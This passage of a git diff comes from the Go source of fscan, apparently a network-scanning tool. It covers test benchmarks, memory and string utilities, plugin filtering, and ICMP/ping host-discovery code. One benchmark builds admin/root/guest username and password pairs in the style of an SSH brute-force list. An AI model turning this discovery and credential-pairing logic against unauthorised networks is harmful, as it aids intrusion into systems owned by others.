b.ResetTimer()
for i := 0; i < b.N; i++ {
result := DeduplicateStrings(slice)
_ = result
}
}
// BenchmarkSliceAllocationOriginal 原始切片分配方法
func BenchmarkSliceAllocationOriginal(b *testing.B) {
b.ResetTimer()
for i := 0; i < b.N; i++ {
var result []string
for j := 0; j < 50; j++ {
result = append(result, fmt.Sprintf("item-%d", j))
}
_ = result
}
}
// BenchmarkSliceAllocationOptimized 优化后的切片分配方法
func BenchmarkSliceAllocationOptimized(b *testing.B) {
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := make([]string, 0, 50)
for j := 0; j < 50; j++ {
result = append(result, fmt.Sprintf("item-%d", j))
}
_ = result
}
}
// TestMemoryUsage 内存使用情况对比测试
func TestMemoryUsage(t *testing.T) {
// 测试字符串连接的内存使用
t.Run("StringJoin", func(t *testing.T) {
slice := make([]string, 1000)
for i := range slice {
slice[i] = fmt.Sprintf("test-string-%d", i)
}
// 测试原始方法
runtime.GC()
var m1, m2 runtime.MemStats
runtime.ReadMemStats(&m1)
for i := 0; i < 1000; i++ {
var result string
if len(slice) > 0 {
result = slice[0]
for j := 1; j < len(slice); j++ {
result += "," + slice[j]
}
}
_ = result
}
runtime.GC()
runtime.ReadMemStats(&m2)
origAlloc := m2.TotalAlloc - m1.TotalAlloc
// 测试优化方法
runtime.GC()
runtime.ReadMemStats(&m1)
for i := 0; i < 1000; i++ {
result := JoinStrings(slice, ",")
_ = result
}
runtime.GC()
runtime.ReadMemStats(&m2)
optAlloc := m2.TotalAlloc - m1.TotalAlloc
t.Logf("原始方法内存分配: %d bytes", origAlloc)
t.Logf("优化方法内存分配: %d bytes", optAlloc)
t.Logf("内存减少: %.2f%%", float64(origAlloc-optAlloc)/float64(origAlloc)*100)
})
}
// TestPoolReuse 测试对象池复用效果StringBuilderPool
func TestPoolReuse(t *testing.T) {
// 重置计数器
pool := NewStringBuilderPool(1024)
// 执行多次操作
slice := []string{"a", "b", "c", "d", "e"}
for i := 0; i < 100; i++ {
result := pool.JoinStrings(slice, ",")
_ = result
}
// GetReusedCount 方法已移除,无法测试复用次数
t.Log("字符串构建器池测试完成")
// 切片池相关功能已移除,跳过该测试
t.Log("切片池功能已移除")
}
// TestStringBuilderCorrectness 测试字符串构建器正确性
func TestStringBuilderCorrectness(t *testing.T) {
testCases := []struct {
slice []string
sep string
want string
}{
{[]string{}, ",", ""},
{[]string{"a"}, ",", "a"},
{[]string{"a", "b"}, ",", "a,b"},
{[]string{"hello", "world", "test"}, " ", "hello world test"},
{[]string{"1", "2", "3", "4", "5"}, "-", "1-2-3-4-5"},
}
for _, tc := range testCases {
got := JoinStrings(tc.slice, tc.sep)
want := strings.Join(tc.slice, tc.sep)
if got != want {
t.Errorf("JoinStrings(%v, %q) = %q, want %q", tc.slice, tc.sep, got, want)
}
}
}
// TestIntJoinCorrectness 测试整数连接正确性
func TestIntJoinCorrectness(t *testing.T) {
testCases := []struct {
slice []int
sep string
want string
}{
{[]int{}, ",", ""},
{[]int{1}, ",", "1"},
{[]int{1, 2}, ",", "1,2"},
{[]int{10, 20, 30}, "-", "10-20-30"},
}
for _, tc := range testCases {
got := JoinInts(tc.slice, tc.sep)
if got != tc.want {
t.Errorf("JoinInts(%v, %q) = %q, want %q", tc.slice, tc.sep, got, tc.want)
}
}
}
// BenchmarkCredentialGeneration 模拟SSH凭证生成的性能测试
func BenchmarkCredentialGeneration(b *testing.B) {
users := []string{"admin", "root", "user", "test", "guest"}
passwords := make([]string, 20)
for i := range passwords {
passwords[i] = fmt.Sprintf("password%d", i)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
// 模拟SSH凭证生成过程
totalCreds := len(users) * len(passwords)
credentials := make([]struct{ user, pass string }, 0, totalCreds)
for _, user := range users {
for _, pass := range passwords {
credentials = append(credentials, struct{ user, pass string }{user, pass})
}
}
_ = credentials
}
}
// Example 展示如何使用优化后的工具
func ExampleJoinStrings() {
slice := []string{"apple", "banana", "cherry"}
result := JoinStrings(slice, ", ")
fmt.Println(result)
// Output: apple, banana, cherry
}
func ExampleJoinInts() {
ports := []int{80, 443, 8080, 9090}
result := JoinInts(ports, ",")
fmt.Println(result)
// Output: 80,443,8080,9090
}
// 运行时长度测试 - 验证在不同规模下的表现
func TestScalability(t *testing.T) {
sizes := []int{10, 100, 1000, 5000}
for _, size := range sizes {
t.Run(fmt.Sprintf("Size%d", size), func(t *testing.T) {
// 准备数据
slice := make([]string, size)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i)
}
start := time.Now()
result := JoinStrings(slice, ",")
duration := time.Since(start)
t.Logf("规模 %d: 耗时 %v, 结果长度 %d", size, duration, len(result))
// 验证结果正确性(只检查开头和结尾)
expected := strings.Join(slice, ",")
if result != expected {
t.Errorf("结果不匹配")
}
})
}
}

View File

@ -1,140 +0,0 @@
package utils
import (
"log"
"runtime"
"time"
)
// MemoryMonitor 内存监控器
type MemoryMonitor struct {
maxHeapMB uint64 // 最大堆内存阈值(MB)
maxGoroutines int // 最大goroutine数量阈值
checkInterval time.Duration // 检查间隔
running bool // 是否运行中
stopChan chan bool
}
// NewMemoryMonitor 创建新的内存监控器
func NewMemoryMonitor(maxHeapMB uint64, maxGoroutines int, checkInterval time.Duration) *MemoryMonitor {
return &MemoryMonitor{
maxHeapMB: maxHeapMB,
maxGoroutines: maxGoroutines,
checkInterval: checkInterval,
stopChan: make(chan bool, 1),
}
}
// Start 启动内存监控
func (mm *MemoryMonitor) Start() {
if mm.running {
return
}
mm.running = true
go mm.monitor()
}
// Stop 停止内存监控
func (mm *MemoryMonitor) Stop() {
if !mm.running {
return
}
mm.running = false
select {
case mm.stopChan <- true:
default:
}
}
// monitor 监控循环
func (mm *MemoryMonitor) monitor() {
ticker := time.NewTicker(mm.checkInterval)
defer ticker.Stop()
for {
select {
case <-ticker.C:
mm.checkMemory()
case <-mm.stopChan:
return
}
}
}
// checkMemory 检查内存使用情况
func (mm *MemoryMonitor) checkMemory() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
heapMB := m.HeapInuse / 1024 / 1024
goroutineCount := runtime.NumGoroutine()
// 检查堆内存使用
if heapMB > mm.maxHeapMB {
log.Printf("[WARN] 内存使用警告: 堆内存使用过高 %d MB (阈值: %d MB)", heapMB, mm.maxHeapMB)
// 尝试触发GC
runtime.GC()
// 再次检查
runtime.ReadMemStats(&m)
heapMBAfterGC := m.HeapInuse / 1024 / 1024
log.Printf("[INFO] GC后堆内存: %d MB", heapMBAfterGC)
}
// 检查goroutine数量
if goroutineCount > mm.maxGoroutines {
log.Printf("[WARN] Goroutine数量警告: 当前数量 %d (阈值: %d)", goroutineCount, mm.maxGoroutines)
}
}
// GetMemoryStats 获取当前内存统计信息
func (mm *MemoryMonitor) GetMemoryStats() map[string]interface{} {
var m runtime.MemStats
runtime.ReadMemStats(&m)
return map[string]interface{}{
"heap_inuse_mb": m.HeapInuse / 1024 / 1024,
"heap_alloc_mb": m.HeapAlloc / 1024 / 1024,
"sys_mb": m.Sys / 1024 / 1024,
"num_gc": m.NumGC,
"num_goroutines": runtime.NumGoroutine(),
"last_gc_time": time.Unix(0, int64(m.LastGC)),
}
}
// ForceGC 强制执行垃圾回收
func (mm *MemoryMonitor) ForceGC() {
before := mm.getHeapSize()
runtime.GC()
after := mm.getHeapSize()
// 使用log包直接输出避免undefined common错误
log.Printf("[INFO] 强制GC: 释放内存 %d MB", (before-after)/1024/1024)
}
// getHeapSize 获取当前堆大小
func (mm *MemoryMonitor) getHeapSize() uint64 {
var m runtime.MemStats
runtime.ReadMemStats(&m)
return m.HeapInuse
}
// 默认内存监控器实例
var DefaultMemMonitor = NewMemoryMonitor(
512, // 最大堆内存512MB
1000, // 最大1000个goroutines
30*time.Second, // 30秒检查一次
)
// StartDefaultMonitor 启动默认内存监控器
func StartDefaultMonitor() {
DefaultMemMonitor.Start()
}
// StopDefaultMonitor 停止默认内存监控器
func StopDefaultMonitor() {
DefaultMemMonitor.Stop()
}

View File

@ -1,26 +0,0 @@
package utils
// DeduplicateStrings 高效字符串去重 - 简化版本
func DeduplicateStrings(slice []string) []string {
if len(slice) <= 1 {
return slice
}
// 使用最简单高效的实现
seen := make(map[string]struct{}, len(slice))
result := make([]string, 0, len(slice))
for _, item := range slice {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}

View File

@ -1,128 +0,0 @@
package utils
import (
"strconv"
"strings"
"sync"
"sync/atomic"
)
// StringBuilderPool 字符串构建器池
type StringBuilderPool struct {
pool sync.Pool
reused int64 // 复用计数器
maxSize int // 最大保留大小,防止内存无限增长
}
// NewStringBuilderPool 创建新的字符串构建器池
func NewStringBuilderPool(maxSize int) *StringBuilderPool {
if maxSize <= 0 {
maxSize = 64 * 1024 // 默认64KB最大保留大小
}
return &StringBuilderPool{
pool: sync.Pool{
New: func() interface{} {
return &strings.Builder{}
},
},
maxSize: maxSize,
}
}
// Get 获取字符串构建器
func (p *StringBuilderPool) Get() *strings.Builder {
builder := p.pool.Get().(*strings.Builder)
builder.Reset() // 清空内容但保留容量
atomic.AddInt64(&p.reused, 1)
return builder
}
// Put 归还字符串构建器
func (p *StringBuilderPool) Put(builder *strings.Builder) {
if builder == nil {
return
}
// 如果容量超过最大限制,不放回池中以避免内存泄露
if builder.Cap() > p.maxSize {
return
}
p.pool.Put(builder)
}
// JoinStrings 高效连接字符串切片
func (p *StringBuilderPool) JoinStrings(slice []string, sep string) string {
if len(slice) == 0 {
return ""
}
if len(slice) == 1 {
return slice[0]
}
builder := p.Get()
defer p.Put(builder)
// 预估容量:所有字符串长度 + 分隔符长度
var totalLen int
for _, s := range slice {
totalLen += len(s)
}
totalLen += len(sep) * (len(slice) - 1)
// 如果当前容量不足,预先增长
if builder.Cap() < totalLen {
builder.Grow(totalLen)
}
builder.WriteString(slice[0])
for i := 1; i < len(slice); i++ {
builder.WriteString(sep)
builder.WriteString(slice[i])
}
return builder.String()
}
// JoinInts 高效连接整数切片
func (p *StringBuilderPool) JoinInts(slice []int, sep string) string {
if len(slice) == 0 {
return ""
}
if len(slice) == 1 {
return strconv.Itoa(slice[0])
}
builder := p.Get()
defer p.Put(builder)
// 预估容量平均每个整数4字符 + 分隔符
estimatedLen := len(slice)*4 + len(sep)*(len(slice)-1)
if builder.Cap() < estimatedLen {
builder.Grow(estimatedLen)
}
builder.WriteString(strconv.Itoa(slice[0]))
for i := 1; i < len(slice); i++ {
builder.WriteString(sep)
builder.WriteString(strconv.Itoa(slice[i]))
}
return builder.String()
}
// 全局字符串构建器池实例
var GlobalStringBuilderPool = NewStringBuilderPool(64 * 1024)
// 便捷函数,使用全局池
func JoinStrings(slice []string, sep string) string {
return GlobalStringBuilderPool.JoinStrings(slice, sep)
}
func JoinInts(slice []int, sep string) string {
return GlobalStringBuilderPool.JoinInts(slice, sep)
}

View File

@ -1,156 +0,0 @@
package core
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/parsers"
"strings"
"sync"
"time"
)
/*
AliveScanner.go - 存活探测扫描器
专门用于主机存活探测仅执行ICMP/Ping检测
快速识别网络中的存活主机不进行端口扫描
*/
// AliveScanStrategy 存活探测扫描策略
type AliveScanStrategy struct {
*BaseScanStrategy
startTime time.Time
stats AliveStats
}
// AliveStats 存活探测统计信息
type AliveStats struct {
TotalHosts int // 总主机数
AliveHosts int // 存活主机数
DeadHosts int // 死亡主机数
ScanDuration time.Duration // 扫描耗时
SuccessRate float64 // 成功率
AliveHostList []string // 存活主机列表
}
// NewAliveScanStrategy 创建新的存活探测扫描策略
func NewAliveScanStrategy() *AliveScanStrategy {
return &AliveScanStrategy{
BaseScanStrategy: NewBaseScanStrategy("存活探测", FilterNone),
startTime: time.Now(),
}
}
// Name 返回策略名称
func (s *AliveScanStrategy) Name() string {
return i18n.GetText("scan_strategy_alive_name")
}
// Description 返回策略描述
func (s *AliveScanStrategy) Description() string {
return i18n.GetText("scan_strategy_alive_desc")
}
// Execute 执行存活探测扫描策略
func (s *AliveScanStrategy) Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
// 验证扫描目标
if info.Host == "" {
common.LogError(i18n.GetText("parse_error_target_empty"))
return
}
// 输出存活探测开始信息
common.LogBase(i18n.GetText("scan_alive_start"))
// 执行存活探测
s.performAliveScan(info)
// 输出统计信息
s.outputStats()
}
// performAliveScan 执行存活探测
func (s *AliveScanStrategy) performAliveScan(info common.HostInfo) {
// 解析目标主机
hosts, err := parsers.ParseIP(info.Host, common.HostsFile, common.ExcludeHosts)
if err != nil {
common.LogError(i18n.GetText("parse_error_target_failed", err))
return
}
if len(hosts) == 0 {
common.LogError(i18n.GetText("parse_error_no_hosts"))
return
}
// 初始化统计信息
s.stats.TotalHosts = len(hosts)
s.stats.AliveHosts = 0
s.stats.DeadHosts = 0
// 显示扫描信息
if len(hosts) == 1 {
common.LogBase(i18n.GetText("scan_alive_single_target", hosts[0]))
} else {
common.LogBase(i18n.GetText("scan_alive_multiple_targets", len(hosts), hosts[0]))
}
// 执行存活检测
aliveList := CheckLive(hosts, false) // 使用ICMP探测
// 更新统计信息
s.stats.AliveHosts = len(aliveList)
s.stats.DeadHosts = s.stats.TotalHosts - s.stats.AliveHosts
s.stats.ScanDuration = time.Since(s.startTime)
s.stats.AliveHostList = aliveList // 存储存活主机列表
if s.stats.TotalHosts > 0 {
s.stats.SuccessRate = float64(s.stats.AliveHosts) / float64(s.stats.TotalHosts) * 100
}
}
// outputStats 输出详细统计信息
func (s *AliveScanStrategy) outputStats() {
// 输出分隔线
common.LogBase("=" + strings.Repeat("=", 60))
// 输出扫描结果摘要
common.LogBase(i18n.GetText("scan_alive_summary_title"))
// 基础统计
common.LogBase(i18n.GetText("scan_alive_total_hosts", s.stats.TotalHosts))
common.LogBase(i18n.GetText("scan_alive_hosts_found", s.stats.AliveHosts))
common.LogBase(i18n.GetText("scan_alive_dead_hosts", s.stats.DeadHosts))
common.LogBase(i18n.GetText("scan_alive_success_rate", s.stats.SuccessRate))
common.LogBase(i18n.GetText("scan_alive_duration", s.stats.ScanDuration.Round(time.Millisecond)))
// 如果有存活主机,显示详细列表
if s.stats.AliveHosts > 0 {
common.LogBase("")
common.LogBase(i18n.GetText("scan_alive_hosts_list"))
for i, host := range s.stats.AliveHostList {
common.LogSuccess(fmt.Sprintf(" [%d] %s", i+1, host))
}
}
// 输出分隔线
common.LogBase("=" + strings.Repeat("=", 60))
}
// PrepareTargets 存活探测不需要准备扫描目标
func (s *AliveScanStrategy) PrepareTargets(info common.HostInfo) []common.HostInfo {
// 存活探测不需要返回目标列表,因为它不进行后续扫描
return nil
}
// GetPlugins 存活探测不使用插件
func (s *AliveScanStrategy) GetPlugins() ([]string, bool) {
return []string{}, false
}
// IsPluginApplicable 存活探测不适用任何插件
func (s *AliveScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
return false
}

View File

@ -1,305 +0,0 @@
package core
import (
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"strings"
)
/*
BaseScanStrategy.go - 扫描策略基础类
提供所有扫描策略的通用功能包括插件管理验证
日志输出等减少代码重复并提升维护性
*/
// PluginFilterType 插件过滤类型
type PluginFilterType int
const (
FilterNone PluginFilterType = iota // 不过滤
FilterLocal // 仅本地插件
FilterService // 仅服务插件(排除本地)
FilterWeb // 仅Web插件
)
// BaseScanStrategy 扫描策略基础类
type BaseScanStrategy struct {
strategyName string
filterType PluginFilterType
}
// NewBaseScanStrategy 创建基础扫描策略
func NewBaseScanStrategy(name string, filterType PluginFilterType) *BaseScanStrategy {
return &BaseScanStrategy{
strategyName: name,
filterType: filterType,
}
}
// =============================================================================
// 插件管理通用方法
// =============================================================================
// GetPlugins 获取插件列表(通用实现)
func (b *BaseScanStrategy) GetPlugins() ([]string, bool) {
// 本地模式优先使用LocalPlugin参数
if b.filterType == FilterLocal && common.LocalPlugin != "" {
if GlobalPluginAdapter.PluginExists(common.LocalPlugin) {
return []string{common.LocalPlugin}, true
} else {
common.LogError(fmt.Sprintf("指定的本地插件 '%s' 不存在", common.LocalPlugin))
return []string{}, true
}
}
// 如果指定了特定插件且不是"all"
if common.ScanMode != "" && common.ScanMode != "all" {
requestedPlugins := parsePluginList(common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{common.ScanMode}
}
// 验证插件是否存在(使用新插件系统)
var validPlugins []string
for _, name := range requestedPlugins {
if GlobalPluginAdapter.PluginExists(name) {
validPlugins = append(validPlugins, name)
}
}
return validPlugins, true
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
return GlobalPluginAdapter.GetAllPluginNames(), false
}
// GetApplicablePlugins 获取适用的插件列表(用于日志显示)
func (b *BaseScanStrategy) GetApplicablePlugins(allPlugins []string, isCustomMode bool) []string {
if isCustomMode {
return allPlugins
}
var applicablePlugins []string
for _, pluginName := range allPlugins {
if !GlobalPluginAdapter.PluginExists(pluginName) {
continue
}
if b.isPluginTypeMatchedByName(pluginName) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
return applicablePlugins
}
// isPluginTypeMatchedByName 根据插件名称检查类型是否匹配过滤器
func (b *BaseScanStrategy) isPluginTypeMatchedByName(pluginName string) bool {
metadata := GlobalPluginAdapter.registry.GetMetadata(pluginName)
if metadata == nil {
return false
}
switch b.filterType {
case FilterLocal:
return metadata.Category == "local"
case FilterService:
return metadata.Category == "service"
case FilterWeb:
return metadata.Category == "web"
default:
return true
}
}
// isPluginTypeMatched 检查插件类型是否匹配过滤器
func (b *BaseScanStrategy) isPluginTypeMatched(plugin common.ScanPlugin) bool {
switch b.filterType {
case FilterLocal:
return plugin.HasType(common.PluginTypeLocal)
case FilterService:
return !plugin.HasType(common.PluginTypeLocal)
case FilterWeb:
return plugin.HasType(common.PluginTypeWeb)
default:
return true
}
}
// IsPluginApplicableByName 根据插件名称判断是否适用(新方法)
func (b *BaseScanStrategy) IsPluginApplicableByName(pluginName string, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
metadata := GlobalPluginAdapter.registry.GetMetadata(pluginName)
if metadata == nil {
return false
}
// 智能Web插件检测如果是Web插件且检测到Web服务则包含Web插件
if b.shouldIncludeWebPlugin(metadata, targetPort) {
return true
}
// 检查类型匹配
if !b.isPluginTypeMatchedByName(pluginName) {
return false
}
// 检查端口匹配(如果指定了端口)
if targetPort > 0 && len(metadata.Ports) > 0 {
for _, port := range metadata.Ports {
if port == targetPort {
return true
}
}
return false
}
return true
}
// shouldIncludeWebPlugin 判断是否应该包含Web插件智能检测
func (b *BaseScanStrategy) shouldIncludeWebPlugin(metadata *base.PluginMetadata, targetPort int) bool {
// 只对服务扫描策略启用Web插件智能检测
if b.filterType != FilterService {
return false
}
// 只对Web类别的插件进行检测
if metadata.Category != "web" {
return false
}
// 如果没有指定端口,跳过检测
if targetPort <= 0 {
return false
}
// 获取Web检测器实例延迟初始化
if globalWebDetector == nil {
globalWebDetector = NewWebPortDetector()
}
// 检测是否为Web服务这里暂时只检查常见端口避免每次都进行HTTP探测
return globalWebDetector.IsCommonWebPort(targetPort)
}
// globalWebDetector Web检测器全局实例
var globalWebDetector *WebPortDetector
// IsPluginApplicable 判断插件是否适用(通用实现)
func (b *BaseScanStrategy) IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 检查插件类型过滤
if !b.isPluginTypeMatched(plugin) {
return false
}
// 对于服务扫描,还需检查端口匹配
if b.filterType == FilterService {
// 无端口限制的插件适用于所有端口
if len(plugin.Ports) == 0 {
return true
}
// 有端口限制的插件:检查端口是否匹配
if targetPort > 0 {
return plugin.HasPort(targetPort)
}
// 如果没有提供目标端口,则不执行有端口限制的插件
return false
}
return true
}
// =============================================================================
// 日志输出通用方法
// =============================================================================
// LogPluginInfo 输出插件信息(通用实现)
func (b *BaseScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := b.GetPlugins()
applicablePlugins := b.GetApplicablePlugins(allPlugins, isCustomMode)
// 生成日志消息
var messageKey, prefix string
switch b.filterType {
case FilterLocal:
messageKey = "scan_plugins_local"
prefix = i18n.GetText("scan_mode_local_prefix")
case FilterService:
messageKey = "scan_plugins_service"
prefix = i18n.GetText("scan_mode_service_prefix")
case FilterWeb:
messageKey = "scan_plugins_web"
prefix = i18n.GetText("scan_mode_web_prefix")
default:
messageKey = "scan_plugins_custom"
prefix = ""
}
if len(applicablePlugins) > 0 {
if isCustomMode {
common.LogBase(fmt.Sprintf("%s: %s", prefix,
i18n.GetText("scan_plugins_custom_specified", strings.Join(applicablePlugins, ", "))))
} else {
common.LogBase(fmt.Sprintf("%s: %s", prefix,
i18n.GetText(messageKey, strings.Join(applicablePlugins, ", "))))
}
} else {
noPluginsKey := fmt.Sprintf("scan_no_%s_plugins", b.getFilterTypeName())
common.LogBase(fmt.Sprintf("%s: %s", prefix, i18n.GetText(noPluginsKey)))
}
}
// getFilterTypeName 获取过滤器类型名称
func (b *BaseScanStrategy) getFilterTypeName() string {
switch b.filterType {
case FilterLocal:
return "local"
case FilterService:
return "service"
case FilterWeb:
return "web"
default:
return "general"
}
}
// =============================================================================
// 验证通用方法
// =============================================================================
// ValidateConfiguration 验证扫描配置(通用实现)
func (b *BaseScanStrategy) ValidateConfiguration() error {
return validateScanPlugins()
}
// =============================================================================
// 通用辅助方法
// =============================================================================
// LogScanStart 输出扫描开始信息
func (b *BaseScanStrategy) LogScanStart() {
switch b.filterType {
case FilterLocal:
common.LogBase(i18n.GetText("scan_local_start"))
case FilterService:
common.LogBase(i18n.GetText("scan_service_start"))
case FilterWeb:
common.LogBase(i18n.GetText("scan_web_start"))
default:
common.LogBase(i18n.GetText("scan_general_start"))
}
}

View File

@ -1,11 +1,9 @@
package core
package Core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/icmp"
"net"
"os/exec"
@ -16,27 +14,25 @@ import (
)
var (
AliveHosts []string // 存活主机列表
ExistHosts = make(map[string]struct{}) // 已发现主机记录
livewg sync.WaitGroup // 存活检测等待组
)
// CheckLive 检测主机存活状态
func CheckLive(hostslist []string, Ping bool) []string {
// 创建局部存活主机列表,预分配容量避免频繁扩容
aliveHosts := make([]string, 0, len(hostslist))
existHosts := make(map[string]struct{}, len(hostslist))
// 创建主机通道
chanHosts := make(chan string, len(hostslist))
// 处理存活主机
go handleAliveHosts(chanHosts, hostslist, Ping, &aliveHosts, existHosts)
go handleAliveHosts(chanHosts, hostslist, Ping)
// 根据Ping参数选择检测方式
if Ping {
// 使用ping方式探测
RunPing(hostslist, chanHosts)
} else {
probeWithICMP(hostslist, chanHosts, &aliveHosts)
probeWithICMP(hostslist, chanHosts)
}
// 等待所有检测完成
@ -44,9 +40,9 @@ func CheckLive(hostslist []string, Ping bool) []string {
close(chanHosts)
// 输出存活统计信息
printAliveStats(aliveHosts, hostslist)
printAliveStats(hostslist)
return aliveHosts
return AliveHosts
}
// IsContain 检查切片中是否包含指定元素
@ -59,11 +55,11 @@ func IsContain(items []string, item string) bool {
return false
}
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, aliveHosts *[]string, existHosts map[string]struct{}) {
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
for ip := range chanHosts {
if _, ok := existHosts[ip]; !ok && IsContain(hostslist, ip) {
existHosts[ip] = struct{}{}
*aliveHosts = append(*aliveHosts, ip)
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
AliveHosts = append(AliveHosts, ip)
// 使用Output系统保存存活主机信息
protocol := "ICMP"
@ -71,20 +67,20 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, al
protocol = "PING"
}
result := &output.ScanResult{
result := &Common.ScanResult{
Time: time.Now(),
Type: output.TypeHost,
Type: Common.HOST,
Target: ip,
Status: "alive",
Details: map[string]interface{}{
"protocol": protocol,
},
}
common.SaveResult(result)
Common.SaveResult(result)
// 保留原有的控制台输出
if !common.Silent {
common.LogInfo(i18n.GetText("target_alive", ip, protocol))
if !Common.Silent {
Common.LogInfo(Common.GetText("target_alive", ip, protocol))
}
}
livewg.Done()
@ -92,16 +88,16 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool, al
}
// probeWithICMP 使用ICMP方式探测
func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]string) {
func probeWithICMP(hostslist []string, chanHosts chan string) {
// 尝试监听本地ICMP
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts, aliveHosts)
RunIcmp1(hostslist, conn, chanHosts)
return
}
common.LogError(i18n.GetText("icmp_listen_failed", err))
common.LogBase(i18n.GetText("trying_no_listen_icmp"))
Common.LogError(Common.GetText("icmp_listen_failed", err))
Common.LogBase(Common.GetText("trying_no_listen_icmp"))
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
@ -111,93 +107,49 @@ func probeWithICMP(hostslist []string, chanHosts chan string, aliveHosts *[]stri
return
}
common.LogBase(i18n.GetText("icmp_connect_failed", err))
common.LogBase(i18n.GetText("insufficient_privileges"))
common.LogBase(i18n.GetText("switching_to_ping"))
Common.LogBase(Common.GetText("icmp_connect_failed", err))
Common.LogBase(Common.GetText("insufficient_privileges"))
Common.LogBase(Common.GetText("switching_to_ping"))
// 降级使用ping探测
RunPing(hostslist, chanHosts)
}
// getOptimalTopCount 根据扫描规模智能决定显示数量
func getOptimalTopCount(totalHosts int) int {
switch {
case totalHosts > 50000: // 超大规模扫描
return 20
case totalHosts > 10000: // 大规模扫描
return 15
case totalHosts > 1000: // 中等规模扫描
return 10
case totalHosts > 256: // 小规模扫描
return 5
default:
return 3
}
}
// printAliveStats 打印存活统计信息
func printAliveStats(aliveHosts []string, hostslist []string) {
// 智能计算显示数量
topCount := getOptimalTopCount(len(hostslist))
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(aliveHosts, topCount, true)
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
common.LogInfo(i18n.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(aliveHosts, topCount, false)
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
common.LogInfo(i18n.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
}
}
}
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string, aliveHosts *[]string) {
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
// 启动监听协程
go func() {
defer func() {
if r := recover(); r != nil {
common.LogError(fmt.Sprintf("ICMP监听协程异常: %v", r))
}
}()
for {
if endflag {
return
}
// 设置读取超时避免无限期阻塞
conn.SetReadDeadline(time.Now().Add(100 * time.Millisecond))
// 接收ICMP响应
msg := make([]byte, 100)
_, sourceIP, err := conn.ReadFrom(msg)
if err != nil {
// 超时错误正常,其他错误则退出
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue
}
return
}
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
select {
case chanHosts <- sourceIP.String():
// 成功发送
default:
// channel已满或已关闭丢弃数据并减少计数
livewg.Done()
}
chanHosts <- sourceIP.String()
}
}
}()
@ -213,7 +165,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string,
start := time.Now()
for {
// 所有主机都已响应则退出
if len(*aliveHosts) == len(hostslist) {
if len(AliveHosts) == len(hostslist) {
break
}
@ -257,13 +209,7 @@ func RunIcmp2(hostslist []string, chanHosts chan string) {
if icmpalive(host) {
livewg.Add(1)
select {
case chanHosts <- host:
// 成功发送
default:
// channel已满或已关闭丢弃数据并减少计数
livewg.Done()
}
chanHosts <- host
}
}(host)
}
@ -322,13 +268,7 @@ func RunPing(hostslist []string, chanHosts chan string) {
if ExecCommandPing(host) {
livewg.Add(1)
select {
case chanHosts <- host:
// 成功发送
default:
// channel已满或已关闭丢弃数据并减少计数
livewg.Done()
}
chanHosts <- host
}
}(host)
}
@ -439,8 +379,8 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
return
}
// 统计各网段出现次数,预分配容量
segmentCounts := make(map[string]int, len(arrInit)/4)
// 统计各网段出现次数
segmentCounts := make(map[string]int)
for _, ip := range arrInit {
segments := strings.Split(ip, ".")
if len(segments) != 4 {

View File

@ -1,41 +1,37 @@
package core
package Core
import (
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// LocalScanStrategy 本地扫描策略
type LocalScanStrategy struct {
*BaseScanStrategy
}
type LocalScanStrategy struct{}
// NewLocalScanStrategy 创建新的本地扫描策略
